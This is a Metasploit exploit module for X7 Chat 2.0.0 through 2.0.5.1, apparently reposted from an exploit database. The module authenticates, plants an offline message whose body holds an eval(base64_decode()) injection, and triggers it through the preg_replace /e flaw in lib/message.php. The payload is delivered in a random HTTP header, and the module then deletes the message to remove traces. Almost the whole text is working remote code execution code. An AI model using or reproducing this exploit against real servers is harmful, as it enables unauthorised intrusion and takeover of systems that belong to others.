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# X7 Chat 2.0.5 lib/message.php preg_replace() PHP Code Execution

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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::PhpEXE

def initialize(info = {})
super(update_info(info,
'Name' => 'X7 Chat 2.0.5 lib/message.php preg_replace() PHP Code Execution',
'Description' => %q{
This module exploits a post-auth vulnerability found in X7 Chat versions
2.0.0 up to 2.0.5.1. The vulnerable code exists on lib/message.php, which
uses preg_replace() function with the /e modifier. This allows a remote
authenticated attacker to execute arbitrary PHP code in the remote machine.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Fernando Munoz <fernando[at]null-life.com>', # discovery & module development
'Juan Escobar <eng.jescobar[at]gmail.com>', # module development @itsecurityco
],
'References' =>
[
# Using this URL because isn't nothing else atm
['URL', 'https://github.com/rapid7/metasploit-framework/pull/4076']
],
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [['Generic (PHP Payload)', {}]],
'DisclosureDate' => 'Oct 27 2014',
'DefaultTarget' => 0))

register_options(
[
OptString.new('USERNAME', [ true, 'Username to authenticate as', '']),
OptString.new('PASSWORD', [ true, 'Pasword to authenticate as', '']),
OptString.new('TARGETURI', [ true, 'Base x7 Chat directory path', '/x7chat2']),
], self.class)
end

def check
res = exec_php('phpinfo(); die();', true)

if res && res.body =~ /This program makes use of the Zend/
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Unknown
end
end

def exec_php(php_code, is_check = false)

# remove comments, line breaks and spaces of php_code
payload_clean = php_code.gsub(/(\s+)|(#.*)/, '')

# clean b64 payload (we can not use quotes or apostrophes and b64 string must not contain equals)
while Rex::Text.encode_base64(payload_clean) =~ /=/
payload_clean = "#{ payload_clean } "
end
payload_b64 = Rex::Text.encode_base64(payload_clean)

cookie_x7c2u = "X7C2U=#{ datastore['USERNAME'] }"
cookie_x7c2p = "X7C2P=#{ Rex::Text.md5(datastore['PASSWORD']) }"
rand_text = Rex::Text.rand_text_alpha_upper(5, 8)

print_status("Trying for version 2.0.2 up to 2.0.5.1")
print_status("Sending offline message (#{ rand_text }) to #{ datastore['USERNAME'] }...")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'index.php'),
'headers' => {
'Cookie' => "#{ cookie_x7c2u }; #{ cookie_x7c2p };",
},
'vars_get' => {
# value compatible with 2.0.2 up to 2.0.5.1
'act' => 'user_cp',
'cp_page' => 'msgcenter',
'to' => datastore['USERNAME'],
'subject' => rand_text,
'body' => "#{ rand_text }www.{${eval(base64_decode($_SERVER[HTTP_#{ rand_text }]))}}.c#{ rand_text
}",
}
})

unless res && res.code == 200
print_error("Sending the message (#{ rand_text }) has failed")
return false
end

if res.body =~ /([0-9]*)">#{ rand_text }/
message_id = Regexp.last_match[1]
user_panel = 'user_cp'
else
print_error("Could not find message (#{ rand_text }) in the message list")

print_status("Retrying for version 2.0.0 up to 2.0.1 a1")
print_status("Sending offline message (#{ rand_text }) to #{ datastore['USERNAME'] }...")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'index.php'),
'headers' => {
'Cookie' => "#{ cookie_x7c2u }; #{ cookie_x7c2p };",
},
'vars_get' => {
# value compatible with 2.0.0 up to 2.0.1 a1
'act' => 'usercp',
'cp_page' => 'msgcenter',
'to' => datastore['USERNAME'],
'subject' => rand_text,
'body' => "#{ rand_text }www.{${eval(base64_decode($_SERVER[HTTP_#{ rand_text }]))}}.c#{ rand_text
}",
}
})

unless res && res.code == 200
print_error("Sending the message (#{ rand_text }) has failed")
return false
end

if res.body =~ /([0-9]*)">#{ rand_text }/
message_id = Regexp.last_match[1]
user_panel = 'usercp'
else
print_error("Could not find message (#{ rand_text }) in the message list")
return false
end
end

print_status("Accessing message (#{ rand_text })")
print_status("Sending payload in HTTP header '#{ rand_text }'")

if is_check
timeout = 20
else
timeout = 3
end

res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'index.php'),
'headers' => {
'Cookie' => "#{ cookie_x7c2u }; #{ cookie_x7c2p };",
rand_text => payload_b64,
},
'vars_get' => {
'act' => user_panel,
'cp_page' => 'msgcenter',
'read' => message_id,
}
}, timeout)

res_payload = res

print_status("Deleting message (#{ rand_text })")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'index.php'),
'headers' => {
'Cookie' => "#{ cookie_x7c2u }; #{ cookie_x7c2p };",
},
'vars_get' => {
'act' => user_panel,
'cp_page' => 'msgcenter',
'delete' => message_id,
}
})

if res && res.body =~ /The message has been deleted/
print_good("Message (#{ rand_text }) removed")
else
print_error("Removing message (#{ rand_text }) has failed")
return false
end

# if check return the response
if is_check
return res_payload
else
return true
end
end

def exploit
unless exec_php(payload.encoded)
fail_with(Failure::Unknown, "#{peer} - Exploit failed, aborting.")
end
end
end

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# Iranian Exploit DataBase = http://IeDb.Ir [2014-11-29]

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